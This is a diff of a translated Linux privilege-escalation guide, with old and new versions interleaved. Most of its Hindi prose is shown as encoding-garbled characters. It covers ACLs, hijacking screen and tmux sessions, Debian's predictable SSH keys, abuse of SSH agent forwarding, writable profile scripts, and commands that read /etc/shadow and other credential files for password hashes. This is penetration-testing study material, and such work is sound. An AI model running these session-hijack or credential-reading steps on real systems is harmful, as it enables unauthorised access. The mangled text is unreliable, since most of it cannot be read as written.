рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░ рджреЗрддрд╛ рд╣реИред рдЗрди рдпреВрдирд┐рдЯреНрд╕ рдореЗрдВ рд╕реЗ рдкреНрд░рддреНрдпреЗрдХ рдХреЛ рд╕реНрд╡рддрдВрддреНрд░ рд░реВрдк рд╕реЗ processes рдХреЛ рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рддрд░рд╣ рдкреВрд░рд╛ privileges рдХрд╛ рд╕реЗрдЯ рдХрдо рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ exploitation рдХреЗ рдЬреЛрдЦрд┐рдо рдШрдЯрддреЗ рд╣реИрдВред\ -рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдФрд░ рдпрд╣ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ capabilities рдХрд╛ рдХреИрд╕реЗ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдирд┐рдореНрди рдкреГрд╖реНрда рдкрдврд╝реЗрдВ: {{#ref}} linux-capabilities.md @@ -1116,39 +1115,39 @@ linux-capabilities.md ## рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдЕрдиреБрдорддрд┐рдпрд╛рдБ -рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ, the **bit for "execute"** рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдкреНрд░рднрд╛рд╡рд┐рдд user folder рдореЗрдВ "**cd**" рдХрд░ рд╕рдХрддрд╛ рд╣реИред\ -**"read"** bit рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ user рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА **list** рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ **"write"** bit рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ user рдирдИ **files** **delete** рдФрд░ **create** рдХрд░ рд╕рдХрддрд╛ рд╣реИред +рдПрдХ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ, **bit for "execute"** рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдкреНрд░рднрд╛рд╡рд┐рдд user рдлреЛрд▓реНрдбрд░ рдореЗрдВ "**cd**" рдХрд░ рд╕рдХрддрд╛ рд╣реИ.\ +**"read"** bit рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ user **list** рдХрд░ рд╕рдХрддрд╛ рд╣реИ **files**, рдФрд░ **"write"** bit рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ user **delete** рдФрд░ **create** рдирдП **files** рдХрд░ рд╕рдХрддрд╛ рд╣реИ. ## ACLs -Access Control Lists (ACLs) рдкрд╛рд░рдВрдкрд░рд┐рдХ ugo/rwx permissions рдХреЛ **overriding** рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдбрд┐рд╕реНрдХреНрд░реЗрд╢рдирд░реА рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рджреНрд╡рд┐рддреАрдпрдХ рдкрд░рдд рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреЗ рд╣реИрдВред рдпреЗ permissions file рдпрд╛ directory access рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдХреЛ рдмрдврд╝рд╛рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдорд╛рд▓рд┐рдХ рдпрд╛ рд╕рдореВрд╣ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рди рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ users рдХреЛ рдЕрдзрд┐рдХрд╛рд░ рджреЗрдиреЗ рдпрд╛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рдХреА рд╕реБрд╡рд┐рдзрд╛ рдорд┐рд▓рддреА рд╣реИред рдпрд╣ рд╕реНрддрд░ рдЕрдзрд┐рдХ рд╕рдЯреАрдХ access management рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреА **granularity** рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) discretionary permissions рдХреА рд╕реЗрдХрдВрдбрд░реА рдкрд░рдд рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреЗ рд╣реИрдВ, рдЬреЛ рдкрд╛рд░рдВрдкрд░рд┐рдХ ugo/rwx permissions рдХреЛ **overriding** рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИрдВред рдпреЗ permissions рдлрд╛рдЗрд▓ рдпрд╛ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдПрдХреНрд╕реЗрд╕ рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдмрдврд╝рд╛рддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рдЙрди specific users рдХреЛ рдЕрдзрд┐рдХрд╛рд░ рджреЗрдиреЗ рдпрд╛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ рдЬреЛ рдорд╛рд▓рд┐рдХ рдирд╣реАрдВ рд╣реИрдВ рдпрд╛ рд╕рдореВрд╣ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рдирд╣реАрдВ рд╣реИрдВред рдЗрд╕ рд╕реНрддрд░ рдХреА **granularity рдЕрдзрд┐рдХ рд╕рдЯреАрдХ access management рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреА рд╣реИ**ред Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Give** user "kali" рдХреЛ рдХрд┐рд╕реА file рдкрд░ read рдФрд░ write permissions рджреЗрдВ: +**Give** user "kali" рдХреЛ рдХрд┐рд╕реА рдлрд╝рд╛рдЗрд▓ рдкрд░ **read** рдФрд░ **write** permissions рджреЗрдВ: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ** рд╕рд┐рд╕реНрдЯрдо рд╕реЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ ACLs рд╡рд╛рд▓реА рдлрд╛рдЗрд▓реЗрдВ: +**рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ** рд╕рд┐рд╕реНрдЯрдо рд╕реЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ ACLs рд╡рд╛рд▓реА рдлрд╝рд╛рдЗрд▓реЗрдВ: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## рдЦреБрд▓реЗ shell sessions +## Open shell sessions -**рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ** рдореЗрдВ рдЖрдк рдХрд┐рд╕реА рджреВрд╕рд░реЗ user (**root**) рдХреЗ рдХрд┐рд╕реА **shell** session рдХреЛ **hijack** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ.\ -**рдирд╡реАрдирддрдо рд╕рдВрд╕реНрдХрд░рдгреЛрдВ** рдореЗрдВ рдЖрдк рдХреЗрд╡рд▓ **рдЕрдкрдиреЗ user** рдХреЗ screen sessions рд╕реЗ рд╣реА **connect** рдХрд░ рдкрд╛рдПрдБрдЧреЗред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЖрдкрдХреЛ **session рдХреЗ рдЕрдВрджрд░ рд░реЛрдЪрдХ рдЬрд╛рдирдХрд╛рд░реА** рдорд┐рд▓ рд╕рдХрддреА рд╣реИред +рдЖрдк **old versions** рдореЗрдВ рдХрд┐рд╕реА рджреВрд╕рд░реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ (**root**) рдХреЗ рдХреБрдЫ **shell** session рдХреЛ **hijack** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ.\ +рдЖрдк **newest versions** рдореЗрдВ рдХреЗрд╡рд▓ **your own user** рдХреЗ screen sessions рд╕реЗ **connect** рдХрд░ рдкрд╛рдПрдБрдЧреЗред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЖрдк session рдХреЗ рдЕрдВрджрд░ **interesting information inside the session** рдкрд╛рдХрд░ рдЙрдкрдпреЛрдЧреА рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВред ### screen sessions hijacking -**screen sessions рдХреА рд╕реВрдЪреА** +**List screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**Session рд╕реЗ рдЬреБрдбрд╝реЗрдВ** +**рдХрд┐рд╕реА session рд╕реЗ рдЬреБрдбрд╝реЗрдВ** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image @@ -1156,9 +1155,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -рдпрд╣ рд╕рдорд╕реНрдпрд╛ рдкреБрд░рд╛рдиреЗ **tmux versions** рдореЗрдВ рдереАред рдореИрдВ non-privileged user рдХреЗ рд░реВрдк рдореЗрдВ root рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдИ рдЧрдИ tmux (v2.1) session рдХреЛ hijack рдирд╣реАрдВ рдХрд░ рдкрд╛рдпрд╛ред +рдпрд╣ **old tmux versions** рдХреЗ рд╕рд╛рде рдПрдХ рд╕рдорд╕реНрдпрд╛ рдереАред рдореИрдВ рдПрдХ non-privileged user рдХреЗ рд░реВрдк рдореЗрдВ root рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдП рдЧрдП tmux (v2.1) session рдХреЛ hijack рдирд╣реАрдВ рдХрд░ рдкрд╛рдпрд╛ред -**tmux sessions рд╕реВрдЪреА рдХрд░реЗрдВ** +**tmux sessions рд╕реВрдЪреА** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1176,33 +1175,33 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП **HTB рдХреЗ Valentine box** рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВред +рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП **Valentine box from HTB** рджреЗрдЦреЗрдВред ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ -рдпрд╣ рдмрдЧ рдЙрди OS рдореЗрдВ рдирдпрд╛ ssh key рдмрдирд╛рддреЗ рд╕рдордп рд╣реЛрддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ **рдХреЗрд╡рд▓ 32,768 variations рд╕рдВрднрд╡ рдереЗ**ред рдЗрд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рд╕рднреА рд╕рдВрднрд╛рд╡рдирд╛рдПрдБ рдЧрдгрдирд╛ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ рдФрд░ **ssh public key рд╣реЛрдиреЗ рдкрд░ рдЖрдк рд╕рдВрдмрдВрдзрд┐рдд private key рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ**ред рдЖрдк рдЧрдгрдирд╛ рдХреА рдЧрдИ рд╕рдВрднрд╛рд╡рдирд╛рдПрдБ рдпрд╣рд╛рдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +рдпрд╣ рдмрдЧ рдЙрди OS рдкрд░ рдирдпрд╛ ssh key рдмрдирд╛рддреЗ рд╕рдордп рд╣реЛрддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ **рдХреЗрд╡рд▓ 32,768 variations рд╣реА рд╕рдВрднрд╡ рдереЗ**ред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рд╕рднреА рд╕рдВрднрд╛рд╡рдирд╛рдПрдБ calculate рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ рдФрд░ **ssh public key рд╣реЛрдиреЗ рдкрд░ рдЖрдк рд╕рдВрдмрдВрдзрд┐рдд private key рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ**ред рдЖрдк calculated possibilities рдпрд╣рд╛рдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values - **PasswordAuthentication:** рдпрд╣ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдХрд┐ password authentication рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ рдпрд╛ рдирд╣реАрдВред рдбрд┐рдлрд╝реЙрд▓реНрдЯ `no` рд╣реИред - **PubkeyAuthentication:** рдпрд╣ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдХрд┐ public key authentication рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ рдпрд╛ рдирд╣реАрдВред рдбрд┐рдлрд╝реЙрд▓реНрдЯ `yes` рд╣реИред -- **PermitEmptyPasswords**: рдЬрдм password authentication рдХреА рдЕрдиреБрдорддрд┐ рд╣реЛ, рддреЛ рдпрд╣ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░ рдЦрд╛рд▓реА password рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╡рд╛рд▓реЗ рдЕрдХрд╛рдЙрдВрдЯреНрд╕ рдореЗрдВ рд▓реЙрдЧрд┐рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВред рдбрд┐рдлрд╝реЙрд▓реНрдЯ `no` рд╣реИред +- **PermitEmptyPasswords**: рдЬрдм password authentication рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ, рддреЛ рдпрд╣ рдмрддрд╛рддрд╛ рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░ рдЦрд╛рд▓реА password рд╡рд╛рд▓реЗ рдЕрдХрд╛рдЙрдВрдЯреНрд╕ рдореЗрдВ login рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВред рдбрд┐рдлрд╝реЙрд▓реНрдЯ `no` рд╣реИред ### PermitRootLogin -рдпрд╣ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдХрд┐ root ssh рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓реЙрдЧ рдЗрди рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВ; рдбрд┐рдлрд╝реЙрд▓реНрдЯ `no` рд╣реИред рд╕рдВрднрд╛рд╡рд┐рдд рдорд╛рди: +рдпрд╣ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдХрд┐ root ssh рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ login рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВ, рдбрд┐рдлрд╝реЙрд▓реНрдЯ `no` рд╣реИред рд╕рдВрднрд╛рд╡рд┐рдд рдорд╛рди: -- `yes`: root рдкрд╛рд╕рд╡рд░реНрдб рдФрд░ private key рджреЛрдиреЛрдВ рд╕реЗ рд▓реЙрдЧрд┐рди рдХрд░ рд╕рдХрддрд╛ рд╣реИ -- `without-password` or `prohibit-password`: root рдХреЗрд╡рд▓ private key рд╕реЗ рд╣реА рд▓реЙрдЧрд┐рди рдХрд░ рд╕рдХрддрд╛ рд╣реИ -- `forced-commands-only`: Root рдХреЗрд╡рд▓ private key рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдФрд░ рддрднреА рд▓реЙрдЧрд┐рди рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬрдм commands рд╡рд┐рдХрд▓реНрдк рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╣реЛрдВ +- `yes`: root рдкрд╛рд╕рд╡рд░реНрдб рдФрд░ private key рджреЛрдиреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ login рдХрд░ рд╕рдХрддрд╛ рд╣реИ +- `without-password` or `prohibit-password`: root рдХреЗрд╡рд▓ private key рдХреЗ рд╕рд╛рде рд╣реА login рдХрд░ рд╕рдХрддрд╛ рд╣реИ +- `forced-commands-only`: root рдХреЗрд╡рд▓ private key рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдФрд░ рддрднреА login рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬрдм commands рд╡рд┐рдХрд▓реНрдк рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╣реЛрдВ - `no` : рдирд╣реАрдВ ### AuthorizedKeysFile -рдпрд╣ рдЙрди рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдирдореЗрдВ рд╡реЗ public keys рд╣реЛрддреА рд╣реИрдВ рдЬрд┐рдирдХрд╛ рдЙрдкрдпреЛрдЧ user authentication рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ `%h` рдЬреИрд╕реЗ tokens рд░рдЦ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рдиреНрд╣реЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ home directory рд╕реЗ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред **рдЖрдк absolute paths рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** (рдЬреЛ `/` рд╕реЗ рд╢реБрд░реВ рд╣реЛрддреЗ рд╣реИрдВ) рдпрд╛ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ home рд╕реЗ relative paths**ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: +рдпрд╣ рдЙрди рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдирдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ authentication рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА public keys рд╣реЛрддреА рд╣реИрдВред рдпрд╣ `%h` рдЬреИрд╕реЗ tokens рд░рдЦ рд╕рдХрддреА рд╣реИ, рдЬреЛ home directory рд╕реЗ рдмрджрд▓ рджрд┐рдП рдЬрд╛рдПрдВрдЧреЗред **рдЖрдк absolute paths рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** (рдЬреЛ `/` рд╕реЗ рд╢реБрд░реВ рд╣реЛрддреЗ рд╣реИрдВ) рдпрд╛ **user рдХреЗ home рд╕реЗ relative paths**ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` @@ -1210,17 +1209,15 @@ That configuration will indicate that if you try to login with the **private** k ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding рдЖрдкрдХреЛ рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдХрд┐ рдЖрдк **use your local SSH keys instead of leaving keys** (without passphrases!) рдХреЛ рдЕрдкрдиреЗ server рдкрд░ рдЫреЛрдбрд╝рдиреЗ рдХреА рдмрдЬрд╛рдп рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░ рд╕рдХреЗрдВред рдЗрд╕рд▓рд┐рдП, рдЖрдк **jump** via ssh **to a host** рдХрд░ рдкрд╛рдПрдБрдЧреЗ рдФрд░ рд╡рд╣рд╛рдБ рд╕реЗ рджреВрд╕рд░реЗ **host** рдкрд░ **jump to another** рдХрд░ рд╕рдХреЗрдВрдЧреЗ, **using** рд╡рд╣ **key** рдЬреЛ рдЖрдкрдХреЗ **initial host** рдкрд░ рд╕реНрдерд┐рдд рд╣реИред - -You need to set this option in `$HOME/.ssh.config` like this: +SSH agent forwarding рдЖрдкрдХреЛ рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдХрд┐ рдЖрдк **рдЕрдкрдиреЗ рд╕реНрдерд╛рдиреАрдп SSH keys рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдмрдЬрд╛рдп рдЗрд╕рдХреЗ рдХрд┐ рдЖрдк рдмрд┐рдирд╛ passphrases рдХреЗ keys рдЕрдкрдиреЗ server рдкрд░ рдЫреЛрдбрд╝ рджреЗрдВ**ред рдЗрд╕рд╕реЗ рдЖрдк ssh рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **jump** рдХрд░рдХреЗ **рдХрд┐рд╕реА host рдкрд░** рдЬрд╛ рд╕рдХреЗрдВрдЧреЗ рдФрд░ рд╡рд╣рд╛рдБ рд╕реЗ **рджреВрд╕рд░реЗ host рдкрд░ jump** рдХрд░ рд╕рдХреЗрдВрдЧреЗ **рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ** рдЙрд╕ **key** рдХрд╛ рдЬреЛ рдЖрдкрдХреЗ **initial host** рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИред ``` Host example.com ForwardAgent yes ``` -Notice that if `Host` is `*` every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue). +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ `Host` `*` рд╣реИ рддреЛ рд╣рд░ рдмрд╛рд░ рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд┐рд╕реА рдЕрд▓рдЧ рдорд╢реАрди рдкрд░ рдЬрд╛рддрд╛/рдЬрд╛рддреА рд╣реИ, рдЙрд╕ рд╣реЛрд╕реНрдЯ рдХреЛ keys рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рд╣реЛ рдЬрд╛рдПрдЧреА (рдЬреЛ рдХрд┐ рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рд╕рдорд╕реНрдпрд╛ рд╣реИ)ред -The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.\ -The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding with the keyword `AllowAgentForwarding` (default is allow). +The file `/etc/ssh_config` can **рдУрд╡рд░рд░рд╛рдЗрдб** this **рд╡рд┐рдХрд▓реНрдк** and allow or denied this configuration.\ +рдлрд╝рд╛рдЗрд▓ `/etc/sshd_config` `AllowAgentForwarding` рдХреАрд╡рд░реНрдб рдХреЗ рд╕рд╛рде ssh-agent forwarding рдХреЛ **рдЕрдиреБрдорддрд┐** рдпрд╛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рд╕рдХрддреА рд╣реИ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: рдЕрдиреБрдорддрд┐)ред If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: @@ -1229,72 +1226,75 @@ If you find that Forward Agent is configured in an environment read the followin ssh-forward-agent-exploitation.md {{#endref}} -## Interesting Files +## рд░реЛрдЪрдХ рдлрд╝рд╛рдЗрд▓реЗрдВ -### Profiles files +### рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рдлрд╝рд╛рдЗрд▓реЗрдВ -The file `/etc/profile` and the files under `/etc/profile.d/` are **scripts that are executed when a user runs a new shell**. Therefore, if you can **write or modify any of them you can escalate privileges**. +The file `/etc/profile` and the files under `/etc/profile.d/` are **рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рдЬреЛ рддрдм рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддреА рд╣реИрдВ рдЬрдм рдХреЛрдИ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирдпрд╛ shell рдЪрд▓рд╛рддрд╛/рдЪрд▓рд╛рддреА рд╣реИ**. Therefore, if you can **рд▓рд┐рдЦ рдпрд╛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк escalate privileges рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**. ```bash ls -l /etc/profile /etc/profile.d/ ``` рдпрджрд┐ рдХреЛрдИ рдЕрдЬреАрдм profile script рдорд┐рд▓рддрд╛ рд╣реИ рддреЛ рдЖрдкрдХреЛ рдЗрд╕реЗ **рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╡рд┐рд╡рд░рдгреЛрдВ** рдХреЗ рд▓рд┐рдП рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдПред -### Passwd/Shadow рдлрд╝рд╛рдЗрд▓реЗрдВ +### Passwd/Shadow Files -OS рдХреЗ рдЕрдиреБрд╕рд╛рд░ `/etc/passwd` рдФрд░ `/etc/shadow` рдлрд╛рдЗрд▓реЛрдВ рдХрд╛ рдирд╛рдо рдЕрд▓рдЧ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ рдЙрдирдХрд╛ рдХреЛрдИ рдмреИрдХрдЕрдк рдореМрдЬреВрдж рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП рд╕реБрдЭрд╛рд╡ рд╣реИ рдХрд┐ рдЖрдк **рд╕рднреА рдХреЛ рдвреВрдБрдвреЗрдВ** рдФрд░ **рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдЙрдиреНрд╣реЗрдВ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ** рддрд╛рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХреЗрдВ **рдХрд┐ рдХреНрдпрд╛ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдЕрдВрджрд░ hashes рд╣реИрдВ**: +OS рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рдХреЗ `/etc/passwd` рдФрд░ `/etc/shadow` рдлрд╛рдЗрд▓реЛрдВ рдХрд╛ рдирд╛рдо рдЕрд▓рдЧ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ рдЙрдирдХрд╛ рдХреЛрдИ рдмреИрдХрдЕрдк рдореМрдЬреВрдж рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП рдпрд╣ рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╣реИ рдХрд┐ **рд╕рднреА рдХреЛ рдвреВрдБрдвреЗрдВ** рдФрд░ **рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдЙрдиреНрд╣реЗрдВ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ** рддрд╛рдХрд┐ рдпрд╣ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХреЗ **рдХрд┐ рдлрд╛рдЗрд▓реЛрдВ рдХреЗ рдЕрдВрджрд░ рдХреЛрдИ hashes рд╣реИрдВ рдпрд╛ рдирд╣реАрдВ**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -рдХреБрдЫ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЖрдк `/etc/passwd` (рдпрд╛ рд╕рдордХрдХреНрд╖) рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ **password hashes** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ +рдХреБрдЫ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЖрдк **password hashes** рдХреЛ `/etc/passwd` (рдпрд╛ рд╕рдордХрдХреНрд╖) рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп /etc/passwd -рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдбреЛрдВ 